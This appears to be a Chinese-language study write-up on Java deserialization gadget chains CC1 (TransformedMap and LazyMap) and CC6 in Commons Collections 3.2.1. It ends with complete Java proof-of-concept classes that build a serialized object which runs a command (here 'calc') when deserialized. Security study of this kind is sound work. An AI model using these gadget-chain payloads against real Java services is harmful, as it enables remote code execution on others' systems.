链子的原理其实就是要找到可控的readObject()通过调用一步步走到可以实现任意命令执行或文件上传等等攻击方式的危险函数。分析时通常先从一个危险函数开始倒推,一步一步找调用反推到可控的readObject()

CC1

1、IDEA环境配置

1.1 下载jdk版本8u_65

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

image-20240628153937725

通过上面的官网下载windows x64的exe文件,在虚拟机上跑一下把jdk拿下来就好

==坑1==

搜索的时候可能会导航到https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html这个网址。这个网址中默认8u65下载的是8u111的版本!!!

1.2 获取sun包

从这里下载jdk源码jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org)。如果不用源码后面导入idea的时候idea会反编译java文件不便于调试。

image-20240628154329684

\src\share\classes路径下的sun包复制到jdk src.zip文件解压后的目录下

image-20240628154448560

最后就是这样

1.3 IDEA创建项目

image-20240628154731107

其余部分借鉴2022版 的IDEA创建一个maven项目(超详细)_idea2022创建maven项目-CSDN博客这篇文章就好讲的很细

最后通过maven导入commons-collections依赖

<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
</dependency>

image-20240628155022886

刷新一下就会出来了

2、cc1链原理

image-20240702142806903

2.1 cc1-TransformedMap链

2.1.1 step1

cc1最终的危险调用是InvokerTransformer.transform()这个方法。

image-20240629143352245

InvokerTransformer的结构体可以传入任意的方法和参数,后面重写的transformer方法就会调用结构体中传入的方法、参数去执行任意代码。

我们先从一个最简单的弹计算器的危险方法作为测试案例。

一个正常的弹计算器的方法是:

Runtime.getRuntime().exec("calc")

我们先尝试用反射来执行这个命令:

Runtime r = Runtime.getRuntime();
Class c = r.getClass();
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

接下来我们尝试用InvokerTransformer来实现弹计算器

//InvokerTransformer弹计算器
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(r);

最终证实可以通过该危险函数实现任意命令执行。接下来我们就要去找调用了InvokerTransformer.transform()方法的地方。

2.1.2 step2

跟进transform查看其他不同名的方法有调用该方法的

image-20240629150839896

==坑2==

这里查找用法有可能查不到所有的方法,有两种可能:
1、maven包没有下载源码

image-20240629151215504

2、查找没有选择全局

image-20240629151252977

这里找到的是TransformedMap这个类里面的checkSetValue方法

image-20240629151835529

通过TransformedMap的decorate方法传入一个Transformer类型的valueTransformer值,再去调用构造方法去赋值。最后通过checkSetValue方法去调用valueTransformer的value方法。如果传入的valueTransformer是invokeTransformer的话那么就又会走到step1形成闭环。

image-20240629152758705

image-20240629152339990

image-20240629152401160

接下来查看一下checkSetValue的实现类,发现只有一个AbstractMapEntryDecorator类的setValue方法中调用了checkSetValue方法

image-20240629182223014

这边可以注意到这个AbstractMapEntryDecorator类其实是TransformedMap类的父类

image-20240629182439331

跟进一下

image-20240629183205324

可以发现这个setValue方法返回的是entry.setValue。这通常是在遍历Map数组时用到的方法,其中的entry代表的是键值对。说明当遍历一个数组时,使用setValue方法对键值对赋值时会调用我们希望使用的checkSetValue方法。如果此时我们传入一个runtime类的参数r时,r便会通过setVlue传到checkSetValue最终传到transform中,然后就回到了step1中的流程。

ok理论结束,实践开始:

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","111");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
System.out.println(transformedMap);
for (Map.Entry entry:transformedMap.entrySet()){
     entry.setValue(r);

成功弹出计算器!

接下来我们要去找调用了setValue方法的类。

2.1.3 step3

找到一个非常完美的类AnnotationInvocationHandler。即有readObject方法,在这个方法里面又调用了setValue方法

image-20240629185157717

跟进一下

image-20240629190032083

发现是在这个readObject方法中的一个Map数组遍历过程中调用了setValue方法,也符合我们的预期。

看一下这个类的构造方法

image-20240629190249024

传入的参数一个是继承了注解的Class类,一个是Map数组类。输入的Map数组会赋值给memberValues,正好遍历的就是这个数组。我们只要把step2中的transformedMap作为参数传进来,那么调用readObject时成功遍历的话就又形成了一个闭环。

但是我们会发现要readObject中的循环能实现setValue()传入runtime对象还需要满足很多条件:

  1. 满足2个if条件保证可以走到setValue()
  2. readObject中的setValue()传入的参数不是我们希望的任意参数,而是一个AnnotationTypeMismatchExceptionProxy对象
  3. 就算最终可以传入Runtime对象,该对象没有继承serializable接口无法被反序列化

这些条件后面再去尝试解决。

我们先实例化AnnotationInvocationHandler这个类,不过发现它是default类型的不能直接调用构造方法,需要反射调用。同理它的构造方法也是需要反射调用。

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","111");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object anno = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);

整体架构准备好后我们开始解决上面提到的问题。

先解决runtime对象无法被返序列化的问题。因为runtime.class可以被反序列化,所以可以通过反射来调用getRuntime方法。

Class run = Runtime.class;
Method getRuntimeMethod = run.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = run.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

接着用invokerTransformer改写上面的代码

Class run = Runtime.class;
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(run);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

我们可以发现这一段代码其实是一个类似于递归的方式,上一个输出是下一个的输入,那我们可以采用ChainedTransformer方法来实现这个递归的过程。查看一下源码

image-20240630145007888

在构造方法中传入一个Transformer数组再使用它的transform方法即可实现

理论形成,实践开始:

Transformer[] transformers = new Transformer[] {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

这样子就把runtime类无法反序列化的问题解决了

然后我们就需要解决2个if的问题

第一个if

image-20240630151319753

第一个if用来判断传入的memberValues的所有键值对的key值是否都存在于通过构造器传入的注解中的方法名字。

直观来看就是我们一开始传入的是Override这个注解的class,而在Override的定义中是不存在任何方法的

image-20240630151803559

所以传入的键值对的key是“key”便不存在于Override中,所以memberType返回的是null不会进入第一个if

image-20240630152058471

可以下个断点调试一下看memberType确实为null

image-20240630152838492

所以我们需要更换一个有参数的注解class,并且将我们传入的键值对的key都修改为注解中有定义的方法。我们可以看一下Target注解

image-20240630152140367

有一个value方法,那我们将传入的键值对的key修改为value,注解类型改为Target即可进入第一个if

image-20240630152944716

调试一下

image-20240630153123264

发现memberType不为空,并且成功走入第一个if

第二个if用来判断键值对的value类型是否和传入的注解方法类型进行强转。一个是String一个是Element[]肯定是不可以的所以第二个if也可以走进去

image-20240630153716226

现在我们只剩最后一个问题就是解决传入的参数问题。这里传入的是AnnotationTypeMismatchExceptionProxy这么一个类,但是我们希望传入的是Runtime.class。只有传入的是Runtime.class

image-20240630154046376

走到transform方法时传入的才是Runtime.class,这里的valueTransformer就是传入的chainedTransformer才会进行之前测试时的递归。

image-20240630154131239

这个时候我们要用到一个ConstantTransformer类。这个类的transform方法不管输入任何东西输出都是一个固定的类

image-20240630154814601

而输出的类可以通过它的构造方法去规定。所以只要让第一个transform方法调用的是ConstantTransformer的transform方法并且将输出固定为Runtime.class,那么就能实现后续过程

具体代码如下

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","111");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object anno = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
Serialize(anno);
unserialize("ser.bin");

分析完毕!

2.2 cc1-LazyMap链

LazyMap从chainedTransformer开始的后半部分链和TransformedMap链并无区别。区别在于一个用LazyMap.get()方法调用chainedTransformer.transform()一个用TransformedMap.checkSetValue()去调用。

image-20240702144908673

那直接从LazyMap.get()开始分析,后半部分可以看上面的链。

2.2.1 step1

跟进一下LazyMap.get()方法

image-20240702145125510

可以发现在factory.transformed()处进行了调用。只要传入的factory是之前定义的chainedTransformer那么后续就可以正常走下去。我们跟进一下factory参数的获取

image-20240702145305702

和TransformedMap的定义差不多都是用一个decrate函数来获取。

然后我们就需要去查看在哪个函数又调用了LazyMap.get()方法

2.2.2 step2

由于此处能够实现的方法有上千个,就直接看下结论。也是AnnotationInvocationHandler类中的一个方法叫invoke().

image-20240702145725413

当传入的memberValues是LazyMap类的时候便会调用它的get方法。而AnnotationInvocationHandle类继承了InvocationHandler类,这是一个用于动态代理的机制的类。当创建一个动态代理的时候会自动调用这个invoke函数,所以当我们创建一个用于代理AnnotationInvocationHandle的动态代理类时便会调用这个invoke函数。

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler anno = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
//System.out.println(annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap).getClass());
Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, anno);

CC6

1、cc6原理

image-20240702154954568

后半部分从LazyMap开始和cc1一样。前面利用了HashMap和TiedMap。由于HashMap的常见性这条一般很常用,受版本的影响也不大。这次就顺着从上到下理一遍调用关系。

2、调用关系梳理

image-20240702155256279

HashMap.readObject()方法中调用了HashMap.hash()方法

image-20240702155342941

当传入的key是TiedMapEntry类型时便会调用TiedMapEntry.hashCode()

image-20240702155446813

而TiedMapEntry.hashCode()方法中调用了TiedMapEntry.getValue()

image-20240702155531703

当传入的map类型是LazyMap时,便会调用LazyMap.get()方法。之后便回到了CC1中的后半部分过程。

3、调试代码汇总

cc1-TransforedMap链

package com.atoposx.cc1;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.ws.spi.Invoker;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class CC1Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        //正常弹计算器
        /*Runtime.getRuntime().exec("calc");*/

        //反射弹计算器
        /*Runtime r = Runtime.getRuntime();
        Class c = r.getClass();
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");*/

        //InvokerTransformer弹计算器
    /*        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        invokerTransformer.transform(r);*/

        //setValue弹计算器
/*        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","111");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        System.out.println(transformedMap);
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }*/

        //反射获取runtime类来执行弹计算器
        /*Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);*/

        //ChainedTransformer方法来简化上个方法
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","111");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object anno = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        Serialize(anno);
        unserialize("ser.bin");

/*        Class run = Runtime.class;
        Method getRuntimeMethod = run.getMethod("getRuntime", null);
        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
        Method execMethod = run.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","111");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object anno = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);*/

    }

    public static void Serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

cc1-LazyMap汇总

package com.atoposx.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1Test02 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler anno = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, anno);
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
        Serialize(o);
        //unserialize("ser.bin");


    }

    public static void Serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}